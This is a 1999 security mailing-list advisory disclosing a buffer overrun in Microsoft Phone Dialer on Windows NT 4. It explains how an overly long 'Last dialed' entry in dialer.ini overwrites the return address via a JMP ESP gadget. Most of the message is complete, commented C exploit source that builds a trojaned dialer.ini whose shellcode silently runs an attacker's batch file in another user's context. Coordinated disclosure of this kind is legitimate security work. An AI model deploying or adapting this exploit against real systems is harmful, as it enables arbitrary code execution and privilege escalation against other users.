From: Mnemonix [mnemonix@GLOBALNET.CO.UK]
Sent: Friday, July 30, 1999 10:12 AM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Alert: Microsoft's Phone Dialer contains a buffer overrun that
allows execution of arbitary code

Importance: High

Microsoft's Phone Dialer on Windows NT 4 (all service packs) contains a
buffer overrun vulnerability that allows an attacker to run arbitary code in
another user's security context by "trojaning" the dialer.ini and waiting
for that user to run dialer. This problem is exacerbated by the fact that
the overrun only occurs when the user exits the application so any attack
will go unnoticed. Microsoft were alerted to this issue on June 27th.

The problem occurs when dialer.exe reads in an overly long "Last dialed"
number from the dialer.ini and by examination and experimentation we can see
that the buffer that these numbers are fed into are 100 bytes long. If a 104
character long string is stuffed into the buffer it overflows and the return
address is overwritten, thus giving the attacker control of the programs
execution. If the string is longer than 104 bytes, on debugging the
application after the overrun occurs we can see that character 105 is
pointed to by the ESP register and so it is to this address we need to get
to by setting the return address to location in the processes address space
that calls the "JMP ESP" instruction - jump to the address pointed to by the
ESP - such as found at address 0x77F327E5 in kernel32.dll on NT SP 4. There
are 150 bytes from here available for the exploit code.

The following code will create a trojaned dialer.ini file that when read in
by dialer will cause it to run a batch file called code.bat - this is hidden
from the desktop by calling the equivalent of WinExec("code.bat",0); - and
then ExitProcess(0); is called to shutup dialer.exe. Once the dialer.ini has
been trojaned the attacker would create a batch file called code.bat and
place in there any commands they wished to be run. Needless to say that if a
user with admin rights runs dialer any commands placed in this batch file
are likely to succeed.

#include <stdio.h>
#include <windows.h>

 int main(void)
 {
  FILE *fd;
  char ExploitCode[256];
  int count = 0;
  while (count < 100)
   {
    ExploitCode[count]=0x90;
    count ++;
   }

 // ExploitCode[100] to ExploitCode[103] overwrites the real return address
 // with 0x77F327E5 which contains a "jmp esp" instruction taking us back
 // to our payload of exploit code
 ExploitCode[100]=0xE5;
 ExploitCode[101]=0x27;
 ExploitCode[102]=0xF3;
 ExploitCode[103]=0x77;

 // procedure prologue - push ebp
 // mov ebp,esp
 ExploitCode[104]=0x55;
 ExploitCode[105]=0x8B;

 // This moves into the eax register the address where WinExec() is found
 // in kernel32.dll at address 0x77F1A9DA - This address has been hard-
 // coded in to save room rather than going through LoadLibrary() and
 // GetProcAddress () to get the address - since we've already hard
// coded in the return address from kernel32.dll - there seems no
// harm in doing this
 ExploitCode[106]=0xEC;
 ExploitCode[107]=0xB8;
 ExploitCode[108]=0xDA;
 ExploitCode[109]=0xA9;
 ExploitCode[110]=0xF1;
 ExploitCode[111]=0x77;

 // We need some NULLs to terminate a string - to do this we xor the esi
 // register with itself - xor esi,esi
 ExploitCode[112]=0x33;
 ExploitCode[113]=0xF6;

 // These NULLs are then pushed onto the stack - push esi
 ExploitCode[114]=0x56;

 // Now the name of the batch file to be run is pushed onto the stack
 // We'll let WinExec() pick up the file - we use push here
 // to push on "tab." (code.bat)
 ExploitCode[115]=0x68;
 ExploitCode[116]=0x2E;
 ExploitCode[117]=0x62;
 ExploitCode[118]=0x61;
 ExploitCode[119]=0x74;

 // And now we push on "edoc"
 ExploitCode[120]=0x68;
 ExploitCode[121]=0x63;
 ExploitCode[122]=0x6F;
 ExploitCode[123]=0x64;
 ExploitCode[124]=0x65;

 // We push the esi (our NULLs) again - this will be used by WinExec() to
determine
 // whether to display a window on the desktop or not - in this case it will
not
 ExploitCode[125]=0x56;

 // The address of the "c" of code.bat is loaded into the edi register -
this
 // becomes a pointer to the name of what we want to tell WinExec() to run
 ExploitCode[126]=0x8D;
 ExploitCode[127]=0x7D;
 ExploitCode[128]=0xF4;

 // This is then pushed onto the stack
 ExploitCode[129]=0x57;

 // With everything primed we then call WinExec() - this will then run
code.bat
 ExploitCode[130]=0xFF;
 ExploitCode[131]=0xD0;

 // With the batch file running we then call ExitProcess () to stop
dialer.exe
 // from churning out an Access Violation message - first the procedure
 //prologue push ebp and movebp,esp
 ExploitCode[132]=0x55;
 ExploitCode[133]=0x8B;
 ExploitCode[134]=0xEC;

 // We need to give ExitProcess() an exit code - we'll give it 0 to use - we
need
 // some NULLs then - xor esi,esi
 ExploitCode[135]=0x33;
 ExploitCode[136]=0xF6;

 // and we need them on the stack - push esi
 ExploitCode[137]=0x56;

 // Now we mov the address for ExitProcess() into the EAX register - again
we
 // we hard code this in tieing this exploit to NT 4.0 SP4
 ExploitCode[138]=0xB8;
 ExploitCode[139]=0xE6;
 ExploitCode[140]=0x9F;
 ExploitCode[141]=0xF1;
 ExploitCode[142]=0x77;

 // And then finally call it
 ExploitCode[143]=0xFF;
 ExploitCode[144]=0xD0;

 // Now to create the trojaned dialer.ini file
 fd = fopen("dialer.ini", "w+");
 if (fd == NULL)
  {
   printf("Couldn't create dialer.ini");
   return 0;
  }
 // Give dialer.exe what it needs from dialer.ini
 fprintf(fd,"[Preference]\nPreferred Line=148446\nPreferred Address=0\nMain
Window  Left/Top=489, 173\n[Last dialed numbers]\nLast dialed 1=");

 // And inject our exploit code
 fprintf(fd,ExploitCode);

        fclose(fd);
}


The dialer.ini file is only created when a user has used dialer and the NTFS
rights on it allow "everyone" to change it. This way every user that uses it
may update it. The best way to fix this problem is to download the patch
from the Microsoft website - see http://www.microsoft.com/security .

Cheers,
David Litchfield
Arca Systems, an Exodus Communications company
http://www.arca.com
http://www.infowar.co.uk/mnemonix